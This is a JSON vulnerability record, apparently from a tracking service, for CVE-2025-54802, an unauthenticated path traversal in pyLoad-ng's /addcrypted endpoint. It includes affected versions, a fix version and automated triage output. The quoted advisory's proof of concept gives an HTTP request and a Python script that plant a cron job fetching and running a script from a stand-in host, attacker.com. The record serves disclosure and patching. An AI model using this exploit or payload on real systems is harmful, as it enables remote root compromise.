{"id":"CVE-2025-54802","kind":"vulnerability","aliases":["CVE-2025-54802","GHSA-48rp-jc79-2264"],"related":[],"title":"pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)","description":"### Summary\n**Path Traversal in pyLoad-ng CNL Blueprint via `package` parameter allows Arbitrary File Write leading to Remote Code Execution (RCE)** The `addcrypted` endpoint in `pyload-ng` suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.\n\n\n\n### Details\n* **Endpoint**: `POST /addcrypted`\n* **Issue**: `src/pyload/webui/app/blueprints/cnl_blueprint.py`\n\n#### Vulnerable Code\n```python\n dlc_path = os.path.join( \n     dl_path, package.replace(\"/\", \"\").replace(\"\\\\\", \"\").replace(\":\", \"\") + \".dlc\" \n ) \n dlc = flask.request.form[\"crypted\"].replace(\" \", \"+\") \n with open(dlc_path, mode=\"wb\") as fp: \n```\n\n### PoC\n```http\nPOST /addcrypted HTTP/1.1\nHost: localhost:8000\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 107\n\npackage=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==\n```\n\nDecoded payload:\n```bash\n* * * * * root curl -s http://attacker.com/r.sh | bash\n```\n\n**Send crafted POST**\n```python\nimport requests, base64\n\npayload = \"* * * * * root curl http://attacker.com/rev.sh | bash\"\nb64 = base64.b64encode(payload.encode()).decode()\n\nrequests.post(\"http://localhost:8000/addcrypted\", data={\n    \"package\": \"../../../../etc/cron.d/exploit\",\n    \"crypted\": b64\n})\n```\n\n\n### Impact\nThe vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the `addcrypted` endpoint in `pyload-ng` parameter. when exploited, it enables remote code execution as **root** by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.","summary":"pyLoad-ng's /addcrypted endpoint builds a file path from the package form field without stripping traversal sequences, so an unauthenticated request can write files anywhere the process can write. The advisory says an attacker can overwrite cron jobs or systemd services to run code as root.","severity":"critical","cvss":9.8,"epss":0.0139,"exploited":false,"exploited_at":null,"products":[{"name":"pyload-ng","fixed":["0.5.0b3.dev90"],"affected":"<= 0.5.0b3.dev89","ecosystem":"pypi"},{"name":"pyload-ng project pyload-ng","fixed":[],"affected":"= 0.5.0b3.dev89","ecosystem":"vendor"}],"ecosystems":["pypi","vendor"],"tags":["cwe-22","package","pyload","python","self-hosted"],"not_affected_if":["auth-required","default-config"],"how_to_check":"- Check the installed version with `pip show pyload-ng`; versions at or below `0.5.0b3.dev89` are affected.\n- Check whether the web interface is reachable from untrusted networks, since the endpoint is `POST /addcrypted`.","fix":"- `pyload-ng` `0.5.0b3.dev90` (fixed version per the product ranges).","status":"open","published_at":"2025-08-04T15:57:48+00:00","first_seen_at":"2026-11-16T16:08:25+00:00","triaged_at":"2026-11-16T16:08:49+00:00","updated_at":"2026-11-16T16:38:06+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-16T16:08:49Z","model":"claude-haiku-5-5","output":{"fix":"- `pyload-ng` `0.5.0b3.dev90` (fixed version per the product ranges).","reach":"network","title":"pyLoad: unauthenticated path traversal in CNL endpoint allows arbitrary file writes","impact":"high","summary":"pyLoad-ng's /addcrypted endpoint builds a file path from the package form field without stripping traversal sequences, so an unauthenticated request can write files anywhere the process can write. The advisory says an attacker can overwrite cron jobs or systemd services to run code as root.","audience":"developers","category":"package","nicknames":[],"who_cares":["pyload","python","self-hosted"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"unauthenticated attacker writes files as the process user, potentially root via cron","analyst_note":"","how_to_check":"- Check the installed version with `pip show pyload-ng`; versions at or below `0.5.0b3.dev89` are affected.\n- Check whether the web interface is reachable from untrusted networks, since the endpoint is `POST /addcrypted`.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["auth-required","default-config"],"who_is_affected":"Teams that run pyLoad-ng with its web interface and CNL blueprint enabled, especially if the interface is reachable from a network the team does not fully trust. The advisory describes the flaw as reachable without authentication, so exposure depends on whether the endpoint is reachable at all. unknown for whether default configurations expose the endpoint.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"unknown","severity_if_unknown":"critical"},"cost_usd":0.000829,"input_tokens":5411,"output_tokens":576,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2025':18A,26A '-22':39B '-54802':19A,27A '/../../../etc/cron.d/exploit':250C '/../../../etc/cron.d/payload':214C '/addcrypted':50B,170C,200C '/r.sh':225C '/rev.sh':239C '107':212C '2264':24A '48rp':22A '8000':204C '8000/addcrypted':247C 'abus':145C 'addcrypt':117C,274C 'advisori':78B 'allow':4A,106C,130C,256C 'anywher':72B 'application/x-www-form-urlencoded':208C 'arbitrari':107C,135C,261C 'attack':81B,132C,258C 'attacker.com':224C,238C 'attacker.com/r.sh':223C 'attacker.com/rev.sh':237C 'b64':241C,252C 'base64':233C 'base64.b64encode':242C 'bash':219C,226C,240C 'blueprint':3A,102C 'build':52B 'cnl':2A,101C 'code':14A,91B,113C,163C,174C,286C 'compromis':308C 'construct':128C 'content':206C,210C 'content-length':209C 'content-typ':205C 'craft':228C 'critic':148C 'cron':84B,152C,293C 'crypt':187C,215C,251C 'curl':221C,236C 'cve':17A,25A 'cwe':38B 'data':248C 'decod':217C,244C 'design':139C 'detail':167C 'directori':141C,266C 'dl':179C 'dlc':8A,176C,184C,185C,191C 'enabl':284C 'endpoint':51B,118C,168C,275C,303C 'escal':160C 'execut':15A,114C,164C,287C 'exploit':282C 'field':60B 'file':54B,71B,108C,136C,150C,262C,297C,301C 'flask.request.form':186C 'flaw':271C 'form':59B 'fp':196C 'full':306C 'ghsa':21A 'ghsa-48rp-jc79':20A 'host':45B,202C 'http':198C 'http/1.1':201C 'impact':253C 'import':231C 'includ':151C 'inject':291C 'intend':265C 'issu':171C 'jc79':23A 'job':85B,153C,294C 'kioqicogkiaqkibyb290ign1cmwglxmgahr0cdovl2f0dgfja2vylmnvbs9ylnnoihwgymfzaa':216C 'lead':11A,110C,157C 'length':211C 'localhost':203C,246C 'malici':292C 'mode':193C 'ng':30A,33A,37A,48B,100C,122C,279C 'open':190C 'os.path.join':178C 'outsid':137C,263C 'overwrit':83B,147C 'packag':40B,58B,104C,213C,249C 'package.replace':181C 'paramet':105C,280C 'path':5A,9A,55B,95C,127C,177C,180C,192C,269C 'payload':218C,234C 'payload.encode':243C 'poc':197C 'post':169C,199C,229C 'privileg':159C 'process':74B 'project':34A 'pyload':1A,29A,32A,36A,41B,47B,99C,121C,278C 'pyload-ng':28A,31A,35A,46B,98C,120C,277C 'python':42B,175C,230C 'rce':16A,115C 'remot':13A,112C,162C,285C 'replac':182C,183C,188C 'request':68B,232C 'requests.post':245C 'root':93B,166C,220C,235C,289C 'run':90B 'say':79B 'self':44B 'self-host':43B 'send':227C 'sequenc':64B 'servic':88B,156C 'simpl':300C 'src/pyload/webui/app/blueprints/cnl_blueprint.py':172C 'storag':140C 'strip':62B 'suffer':123C 'summari':94C 'system':149C,296C,307C 'systemd':87B,155C 'travers':6A,63B,96C,270C 'turn':298C 'type':207C 'unauthent':67B,131C,257C 'unsaf':126C 'upload':302C 'vector':309C 'via':103C,267C 'vulner':129C,173C,255C 'wb':194C 'without':61B 'write':70B,76B,109C,134C,260C","nicknames":[],"mitigations":[],"who_affected":"Teams that run pyLoad-ng with its web interface and CNL blueprint enabled, especially if the interface is reachable from a network the team does not fully trust. The advisory describes the flaw as reachable without authentication, so exposure depends on whether the endpoint is reachable at all. unknown for whether default configurations expose the endpoint.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["projectpyloadng","pyloadng","pyloadngprojectpyloadng"],"ptokens":["ng","project","pyload"],"labels":["critical","cwe22","package","pyload","pypi","python","selfhosted","vendor"],"campaign_type":null,"search_a":"'-2025':18A,26A '-54802':19A,27A '2264':24A '48rp':22A 'allow':4A 'blueprint':3A 'cnl':2A 'code':14A 'cve':17A,25A 'dlc':8A 'execut':15A 'ghsa':21A 'ghsa-48rp-jc79':20A 'jc79':23A 'lead':11A 'ng':30A,33A,37A 'path':5A,9A 'project':34A 'pyload':1A,29A,32A,36A 'pyload-ng':28A,31A,35A 'rce':16A 'remot':13A 'travers':6A","search_b":"'-22':39B '/addcrypted':50B 'advisori':78B 'anywher':72B 'attack':81B 'build':52B 'code':91B 'cron':84B 'cwe':38B 'endpoint':51B 'field':60B 'file':54B,71B 'form':59B 'host':45B 'job':85B 'ng':48B 'overwrit':83B 'packag':40B,58B 'path':55B 'process':74B 'pyload':41B,47B 'pyload-ng':46B 'python':42B 'request':68B 'root':93B 'run':90B 'say':79B 'self':44B 'self-host':43B 'sequenc':64B 'servic':88B 'strip':62B 'systemd':87B 'travers':63B 'unauthent':67B 'without':61B 'write':70B,76B","search_c":"'/../../../etc/cron.d/exploit':250C '/../../../etc/cron.d/payload':214C '/addcrypted':170C,200C '/r.sh':225C '/rev.sh':239C '107':212C '8000':204C '8000/addcrypted':247C 'abus':145C 'addcrypt':117C,274C 'allow':106C,130C,256C 'application/x-www-form-urlencoded':208C 'arbitrari':107C,135C,261C 'attack':132C,258C 'attacker.com':224C,238C 'attacker.com/r.sh':223C 'attacker.com/rev.sh':237C 'b64':241C,252C 'base64':233C 'base64.b64encode':242C 'bash':219C,226C,240C 'blueprint':102C 'cnl':101C 'code':113C,163C,174C,286C 'compromis':308C 'construct':128C 'content':206C,210C 'content-length':209C 'content-typ':205C 'craft':228C 'critic':148C 'cron':152C,293C 'crypt':187C,215C,251C 'curl':221C,236C 'data':248C 'decod':217C,244C 'design':139C 'detail':167C 'directori':141C,266C 'dl':179C 'dlc':176C,184C,185C,191C 'enabl':284C 'endpoint':118C,168C,275C,303C 'escal':160C 'execut':114C,164C,287C 'exploit':282C 'file':108C,136C,150C,262C,297C,301C 'flask.request.form':186C 'flaw':271C 'fp':196C 'full':306C 'host':202C 'http':198C 'http/1.1':201C 'impact':253C 'import':231C 'includ':151C 'inject':291C 'intend':265C 'issu':171C 'job':153C,294C 'kioqicogkiaqkibyb290ign1cmwglxmgahr0cdovl2f0dgfja2vylmnvbs9ylnnoihwgymfzaa':216C 'lead':110C,157C 'length':211C 'localhost':203C,246C 'malici':292C 'mode':193C 'ng':100C,122C,279C 'open':190C 'os.path.join':178C 'outsid':137C,263C 'overwrit':147C 'packag':104C,213C,249C 'package.replace':181C 'paramet':105C,280C 'path':95C,127C,177C,180C,192C,269C 'payload':218C,234C 'payload.encode':243C 'poc':197C 'post':169C,199C,229C 'privileg':159C 'pyload':99C,121C,278C 'pyload-ng':98C,120C,277C 'python':175C,230C 'rce':115C 'remot':112C,162C,285C 'replac':182C,183C,188C 'request':232C 'requests.post':245C 'root':166C,220C,235C,289C 'send':227C 'servic':156C 'simpl':300C 'src/pyload/webui/app/blueprints/cnl_blueprint.py':172C 'storag':140C 'suffer':123C 'summari':94C 'system':149C,296C,307C 'systemd':155C 'travers':96C,270C 'turn':298C 'type':207C 'unauthent':131C,257C 'unsaf':126C 'upload':302C 'vector':309C 'via':103C,267C 'vulner':129C,173C,255C 'wb':194C 'write':109C,134C,260C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2025-08-02T21:43:00+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-48rp-jc79-2264","url":"https://github.com/advisories/GHSA-48rp-jc79-2264","severity":"critical","published_at":"2025-08-04T15:57:48+00:00","modified_at":"2026-11-16T16:04:06+00:00","first_seen_at":"2026-11-16T16:08:25+00:00","fetched_at":"2026-11-16T16:17:15+00:00","note":null},{"source":"nvd","external_id":"CVE-2025-54802","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54802","severity":null,"published_at":"2025-08-05T01:15:42+00:00","modified_at":"2026-06-17T09:40:43+00:00","first_seen_at":"2026-11-16T16:38:06+00:00","fetched_at":"2026-11-16T16:38:06+00:00","note":null}],"documents":[{"id":171040,"url":"https://api.github.com/repos/pyload/pyload/security-advisories/GHSA-48rp-jc79-2264","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":171041,"url":"https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2025-08-02T21:43:00+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":171042,"url":"https://github.com/pyload/pyload/pull/4596","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":171043,"url":"https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"disclosures":[],"exploit_sources":[{"type":"epss","score":0.0139,"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-54802"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}